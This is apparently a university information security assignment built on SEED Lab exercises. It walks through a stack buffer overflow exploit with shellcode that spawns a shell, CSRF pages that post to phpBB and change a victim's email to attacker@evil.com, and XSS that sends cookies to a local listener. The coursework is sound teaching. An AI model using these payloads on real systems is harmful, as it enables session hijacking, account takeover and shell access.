Information Security
Assignment 3

SUBMISSION GUIDELINES:

1. Create a single zip file containing Microsoft Word file containing all required screenshots, source code, and explanations.
2. Name your submission file as: SECTION#_ROLLNO (example: 22F1234_A2).
3. Submit the Word file and a ZIP archive containing all source code on GCR before the deadline.
4. This is an individual assignment. Plagiarism is strictly prohibited.

Part 1: Buffer Overflow:

Question 1

Objective: Analyze a provided vulnerable C program (stack.c) that contains a classic stack-based buffer overflow vulnerability. Explain the vulnerability, and draw the stack layout.

Provided Code: stack.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
   char buffer[12];
   strcpy(buffer, str);  // VULNERABLE!
   return 1;
}

int main(int argc, char **argv)
{
   char str[517];
   FILE *badfile;
   badfile = fopen("badfile", "r");
   fread(str, sizeof(char), 517, badfile);
   bof(str);
   printf("Returned Properly\n");
   return 1;
}
```

Steps:

1. Compile and run the vulnerable program as instructed (example: gcc -o stack -fno-stack-protector stack.c).
2. Create and analyze a stack layout diagram showing saved EIP, saved EBP, return address, and buffer offsets.

Deliverables:

1. Detailed vulnerability analysis and explanation.
2. Stack layout diagram (drawn and embedded as an image).
3. Full-screen screenshots with time/date for compilation and execution steps.

Question 2

Objective: Build an exploit (badfile) and exploit the vulnerable program to gain a shell. Complete the provided exploit.c template and demonstrate successful exploitation.

Exploit Code Template: exploit.c

```
/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
   "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin"
   "\x89\xe3" "\x50" "\x53" "\x89\xe1"
   "\x99" "\xb0\x0b" "\xcd\x80";

void main(int argc, char **argv)
{
   char buffer[517];
   FILE *badfile;
   memset(&buffer, 0x90, 517);

   /* Complete this part - fill buffer with exploit */

   badfile = fopen("./badfile", "w");
   fwrite(buffer, 517, 1, badfile);
   fclose(badfile);
}
```

Steps:

1. Complete exploit.c to construct badfile (use memset to fill with 0x90, copy shellcode, and overwrite return address).
2. Compile exploit: gcc -o exploit exploit.c
3. Run exploit to create badfile, then run ./stack to trigger and obtain a shell.

Deliverables:

1. Completed exploit.c source code (no inline comments requested in code).
2. Video recording of successful exploit demonstration.
3. Full-screen screenshots (time/date) showing creation of badfile, execution of stack, and resulting shell.

Question 3

Objective: Evaluate standard protection mechanisms and show how they affect the exploit. The protections to test: /bin/bash linkage, ASLR (address space layout randomization), and Stack Guard/Canary.

Steps and Tests:

1. /bin/bash protection: sudo ln -sf /bin/bash /bin/sh ; ./stack — test behavior.
2. Address Randomization: sudo sysctl -w kernel.randomize_va_space=2 ; ./stack — test behavior.
3. Stack Guard (canary): gcc -o stack_protected stack.c ; ./stack_protected — test behavior.

Deliverables:

1. Analysis of each protection: why it succeeds or fails against your exploit.
2. Screenshots demonstrating differences in behavior for each protection test (time/date visible).

Part 2: Cross-Site Request Forgery (CSRF)

Question 1

Objective: Analyze a vulnerable web application (phpBB) that allows posting new topics using an HTTP GET request, which can be exploited via CSRF. Explain the vulnerability and demonstrate how a malicious webpage can silently create a new post on behalf of a logged-in victim.

Provided Code (malicious.html):

```
<html>
  <body>
    <img
src="http://www.csrflabphpbb.com/posting.php?mode=newtopic&f=1&subject=Hacked&message=Thi
s+is+a+CSRF+attack&post=Submit">
  </body>
</html>
```

Steps:

1. Log in to the vulnerable phpBB forum as any normal user in your browser.
2. Save the provided HTML code as malicious.html inside your SEED VM.
3. Open the malicious.html file in a browser while still logged into phpBB.
4. Observe that a new topic appears in forum f=1 without the victim clicking "Post".

Deliverables:

- A detailed explanation of how the CSRF vulnerability works (why the forum accepts the request and how the browser sends session cookies automatically).
- Screenshot showing the new topic created on the forum.
- Full-screen screenshots with visible time/date showing:
    - User logged in
    - Opening malicious.html
    - The new topic appearing

Question 2

Objective: Craft a CSRF attack using an HTTP POST request to change the victim's account profile information (email field) without their knowledge.

Exploit Code Template (malicious.html):

```
<html>
  <body onload="document.csrf.submit()">
    <form name="csrf" action="http://www.csrflabphpbb.com/profile.php" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com">
      <input type="hidden" name="submit" value="Submit">
    </form>
  </body>
</html>
```

Steps:

1. Log in to phpBB as a normal user in the same browser session.
2. Save the above code as malicious.html on the SEED VM.
3. Open malicious.html in the browser while still logged in to phpBB.
4. After opening it, check the account profile page and confirm that the email has been changed to attacker@evil.com.

Deliverables:

- Detailed explanation of how this CSRF attack uses an auto-submitted POST form.
- Screenshot showing the changed email field in the victim's account.
- Full-screen screenshots with showing:
  - Before the attack (original email)
  - Opening malicious.html
  - After the attack (changed email)

Part 3: XSS

Question 1

Objective:

Exploit an XSS vulnerability in the phpBB message board (www.xsslabphpbb.com) running on the SEED Lab VM to post a malicious message containing JavaScript that displays an alert window when viewed by users.

Steps:

1. Start the Apache server in the SEED Lab VM using:

```
bash
sudo apache2ctl start
or
bash
sudo service apache2 start
```

2. Access the phpBB message board at http://www.xsslabphpbb.com using Firefox.
3. Log in to the phpBB server using credentials provided on the front page.
4. Post a message containing the JavaScript code <script>alert('XSS');</script> in the message body.
5. View the posted message to verify that an alert window displaying "XSS" appears.

Deliverables:

- Detailed explanation of the XSS vulnerability and how the JavaScript causes an alert window to appear.
- Full-screen screenshots (with visible time/date) showing:
  - The Apache server startup command.
  - The posted message containing the JavaScript code.
  - The alert window displayed when viewing the message.

<u>Question 2</u>

Objective:

Exploit the XSS vulnerability in the phpBB message board to post a malicious message that sends a victim's cookies to an attacker-controlled server running on the SEED Lab VM. Demonstrate the successful capture of cookies.

Steps:

1. Start the Apache server in the SEED Lab VM (as described in Part 1).
2. Run the provided TCP server program to listen on port 5555:

```
bash
./tcp_server 5555
```

3. Log in to the phpBB message board at http://www.xsslabphpbb.com using Firefox.
4. Post a message containing the provided JavaScript code to send cookies to 127.0.0.1:5555.
5. View the posted message as another user (using provided credentials) to trigger the script.
6. Verify that the TCP server on port 5555 receives and displays the victim's cookies.

Deliverables:

- Completed JavaScript code used in the malicious message (no inline comments in the code).
- Detailed analysis of the XSS vulnerability, explaining how the <img> tag triggers an HTTP GET request to send cookies to the attacker's server.
- Full-screen screenshots (with visible time/date) showing:
  - The TCP server startup and output displaying received cookies.
  - The posted message containing the malicious JavaScript.
  - The browser view where the script is triggered.